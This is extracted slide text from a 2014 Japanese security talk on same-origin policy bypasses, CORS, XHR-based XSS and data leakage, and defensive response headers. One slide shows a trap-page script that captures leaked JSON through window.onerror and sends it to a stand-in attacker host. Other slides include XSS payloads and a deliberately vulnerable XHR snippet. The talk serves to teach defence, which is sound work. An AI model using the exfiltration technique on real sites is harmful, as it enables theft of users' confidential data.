Bypass SOP
in a time of HTML5
Jan 29 2014
Yosuke HASEGAWA#html5j自己紹介
はせがわようすけネットエージェント株式会社
株式会社セキュアスカイ・テクノロジー 技術顧問
Microsoft MVP for Consumer Security Oct 2005 http://utf-8.jp/

第44回HTML5とか勉強会#html5jお知らせHTML5 調査報告 from JPCERT/CC

第44回HTML5とか勉強会#html5j

今日の話題

今日の話題HTML5時代のSOP破り
ブラウザの高機能化
表現力、速度の向上
JSコード量の増加

攻撃者対象もブラウザ上へ
SOP破りの受動的攻撃が増加
第44回HTML5とか勉強会#html5j

今日の話題オリジンの話
オリジン / 同一オリジンポリシー / CORS

XMLHttpRequest意図せずクロスオリジン通信→XSS
意図せずクロスオリジン通信→データ漏えいAjaxデータを悪用してXSS
Ajaxデータ内の機密情報漏えい

セキュリティ関係のレスポンスヘッダ
第44回HTML5とか勉強会#html5jオリジンの話

オリジンとはオリジンとはRFC6454 The Web Origin Concept
スキーム + ホスト + ポート
http://example.jp/image.png
http://example.jp:8080/index.html

デフォルトのポートは省略
正規化された表現
http://example.jp
http://example.jp:8080
第44回HTML5とか勉強会#html5j同一オリジンポリシー
同一オリジンポリシー
Same-Origin Policy - SOP

オリジンが異なる場合に様々な制約
XHRでの読み取り
localStorageの読み書き範囲
などなど

cookieやHTTP認証はオリジンをベースとしていない
第44回HTML5とか勉強会#html5j

Cross-Origin Resource Sharing
CORS - Cross-Origin Resource Sharingオリジンを超えてリソースを共有するための統一的なルール
Cross-Origin Resource Sharing
http://www.w3.org/TR/cors/

HTTP access control (CORS) | MDN
https://developer.mozilla.org/ja/docs/HTTP_access_control

XHR、img+Canvas、Web Fontsなど

第44回HTML5とか勉強会#html5j

XHR with CORS// http://base.example.jp/
var xhr = new XMLHttpRequest();xhr.open( "GET", "http://another.example.jp/", true );xhr.onreadystatechange = function(){ ... };xhr.send( null );GET / HTTP/1.1
Host: another.example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1)...
Origin: http://base.example.jp

HTTP/1.1 200 OK
Date: Tue, 28 Feb 2013 12:34:56 GMT
Access-Control-Allow-Origin: http://base.example.jp
Content-Type: text/html; charset=utf-8...

第44回HTML5とか勉強会#html5j

XHR with CORS// http://base.example.jp/
var xhr = new XMLHttpRequest();xhr.open( "GET", "http://another.example.jp/", true );xhr.withCredentials = true;
xhr.onreadystatechange = function(){ ... };xhr.send( null );GET / HTTP/1.1
Host: another.example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1)...
Cookie: sessionid=135A2387BC12EE0F
Origin: http://base.example.jp
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2013 12:34:56 GMT
Access-Control-Allow-Origin: http://base.example.jp
Access-Control-Allow-Credentials: true
Content-Type: text/html; charset=utf-8...
第44回HTML5とか勉強会#html5j

Images with CORS// http://base.example.jp/<img src="http://another.example.jp/html5.png"
crossorigin="anonymous">
GET /takahiro.jpg HTTP/1.1
Host: another.example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1)...
Origin: http://base.example.jp
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2013 12:34:56 GMT
Access-Control-Allow-Origin: http://base.example.jp
Content-Type: image/jpeg...

Originがつき、Cookieは送信されない
Canvas経由で読み取り可能になる
第44回HTML5とか勉強会#html5j

Images with CORS// http://base.example.jp/<img src="http://another.example.jp/html5.png"
crossorigin="use-credentials">
GET /takahiro.jpg HTTP/1.1
Host: another.example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1)...
Cookie: sessionid=135A2387BC12EE0F
Origin: http://base.example.jp
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2013 12:34:56 GMT
Access-Control-Allow-Origin: http://base.example.jp
Access-Control-Allow-Credentials: true
Content-Type: image/jpeg...

Canvas経由で読み取り可能になる
第44回HTML5とか勉強会#html5j

Access-Control-Allow-Origin
Access-Control-Allow-Origin: *誰からでも読み取り可能
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2013 12:34:56 GMT
Access-Control-Allow-Origin: *Content-Type: text/html...

機密情報を含むコンテンツの場合、罠ページ
からも読み取られれてしまう！

第44回HTML5とか勉強会#html5jここまでのまとめ
オリジン
スキーム、ホスト、ポートの組み合わせ

同一オリジンポリシー
オリジンを境界としてリソースの読み書きを保護する仕組みの総称
CORS – Cross-Origin Resource Sharingオリジンを超えてリソースを共有するためのルールpreflight – 今回は説明を省略

ブラウザを狙う攻撃はSOP回避の受動的攻撃

第44回HTML5とか勉強会#html5j

XMLHttpRequest

XMLHttpRequest
言うまでもなく今どきのJSアプリの要Lv.2によりクロスオリジン通信可能
XHR周辺に脆弱性も多いよくある脆弱性
意図せずクロスオリジン通信→XSS
意図せずクロスオリジン通信→データ漏えいAjaxデータを悪用してXSS
Ajaxデータ内の機密情報漏えい

第44回HTML5とか勉強会#html5j

XMLHttpRequest(1)意図せずクロスオリジン通信→XSS

XHR: 意図せずクロスオリジン通信→XSS
XHR Lv.2で脆弱になったクロスオリジン通信できない間は安全だった// http://example.jp/#/news
var url =decodeURIComponent( location.hash.substring(1) );var xhr = new XMLHttpRequest();xhr.open( "GET", url, true );xhr.onreadystatechange = function(){if( xhr.readyState == 4 && xhr.status == 200 ){div.innerHTML = xhr.responseText;}}

第44回HTML5とか勉強会#html5j

XHR: 意図せずクロスオリジン通信→XSS
対策
相手先を固定リストで事前に保持// http://example.jp/#/news
var page =decodeURIComponent( location.hash.substring(1) );var pages = { "/news":"/news", "/comment":"/comment"};
var url = pages[ page ] || "/"; //undefinedのときは/を取得
var xhr = new XMLHttpRequest();xhr.open( "GET", url, true );xhr.onreadystatechange = function(){if( xhr.readyState == 4 && xhr.status == 200 ){div.innerHTML = xhr.responseText;}}

第44回HTML5とか勉強会#html5j

XMLHttpRequest(2)意図せずクロスオリジン通信→データ漏えいXHR: 意図せずクロスオリジン通信→データ漏えいサーバ側で意図していないクロスオリジ
ン通信
リクエストヘッダのOrigin:で送信元を確認
GET /resource HTTP/1.1
Host: example.jp
Origin: http://example.jp

この実装例は安全？脆弱？

HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Origin: htp://example.jp
これはexample.jpだけが読むことを許された機密情報です。
GET /resource HTTP/1.1
Host: example.jp
Origin: http://another.example.jp

HTTP/1.1 403 Forbidden
第44回HTML5とか勉強会#html5j

XHR: 意図せずクロスオリジン通信→データ漏えい攻撃者はtelnet等で任意のOriginを送信可能Origin:ヘッダを認証に使用してはいけない
GET /resource HTTP/1.1
Host: example.jp
Origin: http://example.jp

攻撃者がtelnet
で入力

HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Origin: htp://example.jp

この実装例は安全？脆弱？

→脆弱

これはexample.jpだけが読むことを許された機密情報です。

第44回HTML5とか勉強会#html5j

XHR: 意図せずクロスオリジン通信→データ漏えい通常通りCookieを使って認証
xhr.withCredentials = true; // Cookie付きでクロスオリジンリクエストを発行
GET /rsource HTTP/1.1
Host: example.jp
Origin: http://example.jp
Cookie: sessionid=A1E223ED

HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Origin: http://example.jp
Access-Control-Allow-Credentials: true
これはexample.jpだけが読むことを許された機密情報です。

第44回HTML5とか勉強会#html5j

XMLHttpRequest(3)Ajaxデータを使ったXSSXHR: Ajaxデータを使ったXSSIE must die
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8{ "msg" : "<script>alert(1)</script>" }第44回HTML5とか勉強会#html5j

XHR: Ajaxデータを使ったXSS
JSONならエスケープできなくはないけどHTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8{ "msg" : "¥u003cscript¥u003ealert(1)¥u003c/script¥u003e" }text/plainとかtext/csvとかエスケープできない

第44回HTML5とか勉強会#html5j

XHR: Ajaxデータを使ったXSS
対策
X-Content-Type-Optionsを付ける
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff{ "msg" : "<script>alert(1)</script>" }非HTMLがHTML扱いされることがなくなる

第44回HTML5とか勉強会#html5j

XMLHttpRequest(4)Ajaxデータ内の機密情報漏えい

XHR: Ajaxデータ内の機密情報漏えい
JavaScriptやVBScriptとして解釈可能
なAjaxデータが狙われやすい//罠ページ内でscriptソースとして読み込む<script src="http://example.jp/target.json"></script><script src="http://example.jp/target.csv"></script>

JSON{"from" : "a@example.com"}
第44回HTML5とか勉強会#html5j

XHR: Ajaxデータ内の機密情報漏えい
JSON配列をVBScriptとして読み込む
失敗→エラーメッセージに配列の内容
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8[ "secret", "message", "is", "here" ]// 攻撃者の用意した罠ページ<script src="http://example.jp/target.json"
language="vbscript"></script>

第44回HTML5とか勉強会#html5j

XHR: Ajaxデータ内の機密情報漏えい
JSON配列をVBScriptとして読み込みエラーメッセージに配列の内容が含まれる→window.onerrorで捕捉<script>
window.onerror = function( e ){document.getElementById( "img" ).setAttribute("src", "http://attacker.example.jp/log?" + e );}</script><script src="http://example.jp/target.json"
language="vbscript"></script>
GET http://attacker.example.jp/log?型が一致しません。:%20'%20"secret",%20"message",%20"is",%20"here"%20' HTTP/1.1
Referer: http://example.jp/
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.1; WOW64; Trident/6.0)
第44回HTML5とか勉強会#html5j

XHR: Ajaxデータ内の機密情報漏えい
対策
X-Content-Type-Optionsを付ける
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff[ "secret", "message", "is", "here" ]第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ

セキュリティ関係のレスポンスヘッダ
使いこなすことでよりセキュアに
X-XSS-Protection
X-Content-Type-Options
X-Frame-Options
Content-Security-Policy
X-Download-Options
Strict-Transport-Security

第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
X-XSS-Protection

X-XSS-Protection
XSS保護機能の制御
IE,Chrome,Opera,Safariで有効
XSS保護機能をそのページのみ無効にする
X-XSS-Protection: 0

XSS保護機能を明示的に有効にする(デフォルト有効になっている)
X-XSS-Protection: 1

XSS保護機能を有効にし、XSS検知時に空白
画面を表示
X-XSS-Protection: 1; mode=block
第44回HTML5とか勉強会#html5jX-XSS-Protection
「XSSフィルターを無効に設定」やめて！

第44回HTML5とか勉強会#html5jX-XSS-Protection
XSSフィルターの誤検知のエラーを消すには該当ページにXSSがないか慎重に検査したうえでそのページのみX-XSS-Protection:0を指定

ブラウザの設定変更を指示しないで！

第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
X-Content-Type-Options

X-Content-Type-Options
Content-Typeを厳格に扱う
非HTMLをHTML扱いしない
JSONやCSVによるXSSの防止
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff{ "message", "<script>alert(1)</script>" }非JSを<script src>として読み込まない
script src経由での情報漏えい防止
Firefox、Chromeなどでも。
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff[ "secret", "message", "is", "here" ]第44回HTML5とか勉強会#html5j

X-Content-Type-Options
副作用はほとんどないので、全コンテン
ツにつけるべき稀有な副作用例：JSONP/JSONで共通処理
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff{ "message", "<script>alert(1)</script>" }Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
callback( { "message", "<script>alert(1)</script>" } )<script src="api/jsonp?cb=callback"></script> …失敗する
第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
X-Frame-Options

X-Frame-Options
クリックジャッキング
標的サイトを透明に重ね、意図しないクリッ
ク等を引き起こす攻撃

透明表示の
標的サイト

罠サイト

第44回HTML5とか勉強会#html5j

X-Frame-Options
クリックジャッキング対策
iframe,frame等での埋め込みを禁止する
全ての埋め込みを禁止
X-Frame-Options: DENY

同一オリジン以外からの埋め込みを禁止
X-Frame-Options: SAMEORIGIN

指定オリジン以外からの埋め込みを禁止
X-Frame-Options: ALLOW-FROM http://example.jp

第44回HTML5とか勉強会#html5j

X-Frame-Options
X-Frame-Options: ALLOW-FROM
X-Frame-Options: ALLOW-FROM http://example.jp

http://example.jpからの埋込みのみ許可
ALLOW-FROMに指定できるオリジンはひとつだけ。
複数のオリジンからの埋め込み許可はそのままではできないFirefoxのみスペース区切りで複数オリジンの指定可能

第44回HTML5とか勉強会#html5j

X-Frame-Options
ALLOW-FROMの複数オリジン対応
呼出し元オリジンごとに識別子をURLに付与// http://parent.example.jp/上<iframe src="http://child.example.jp/?from=p1"></iframe># child.example.jp/
my $allows = { p1 => 'http://parent.example.jp' };my $from = $allows->{ $params->{from} };if( $from ){print "X-Frame-Options: ALLOW-FROM $from¥n";}else{
print "X-Frame-Options: DENY¥n";}

第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
Content-Security-Policy

Content-Security-Policy
ヘッダで指定されたソースからしか画像
やJSを読み込めなくする
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; image-src *;Content-Type: text/html; charset=utf-8

Chrome拡張やFirefoxOSアプリの開発時にイラッとするアレ
使いこなせばXSSも怖くないけれど、実際の運用は超たいへん

第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
X-Download-Options

X-Download-Options
IE8以降でダウンロード時に「開く」ボタ
ンを非表示
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="index.html"
X-Download-Options: noopen<html><script>...

X-Download-Optionsなし
第44回HTML5とか勉強会

X-Download-Optionsあり#html5j

X-Download-Options
ダウンロード時の「開く」ボタン非表示
添付ファイルによる蓄積型のXSSを予防する
ことができる安全なコンテンツをユーザーが直接開くことができなくなるので、利便性は下がる
不特定多数のユーザーが添付ファイルを掲載できるWebアプリでは一考の価値あり

第44回HTML5とか勉強会#html5jセキュリティ関係のレスポンスヘッダ
Strict-Transport-Security

Strict-Transport-Security
HTTPSを強制するための指令
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=15768000
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=15768000; includeSubdomains

これ以降のHTTPへのアクセスはHTTPSに置き換わるmax-age は有効期間を秒数で指定
includeSubDomainsが指定されるとサブド
メインも対象
第44回HTML5とか勉強会#html5j

Strict-Transport-Security
HTTPSサイトのみがStrict-TransportSecurityヘッダを返す
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=15768000

HTTPはすでに汚染されているかもしれないのでFirefox、Chromeなどは常にHTTPSで通信する "preload HSTS" のリストを持っている

第44回HTML5とか勉強会#html5j

Strict-Transport-Security
Preload HSTS list
Firefox、Chromeは常にHTTPSで通信するサイトのリストを持っている申請すれば掲載してもらえる(常時SSL化!)cybozu.com を真に常時 SSL にする話 |Cybozu Inside Out | サイボウズエンジニ
アのブログ
http://developer.cybozu.co.jp/tech/?p=6096

第44回HTML5とか勉強会#html5j

質問タイムQuestion ?

Question? 質問
hasegawa@utf-8.jp
hasegawa@netagent.co.jp@hasegawayosuke
http://utf-8.jp/

第44回HTML5とか勉強会#html5j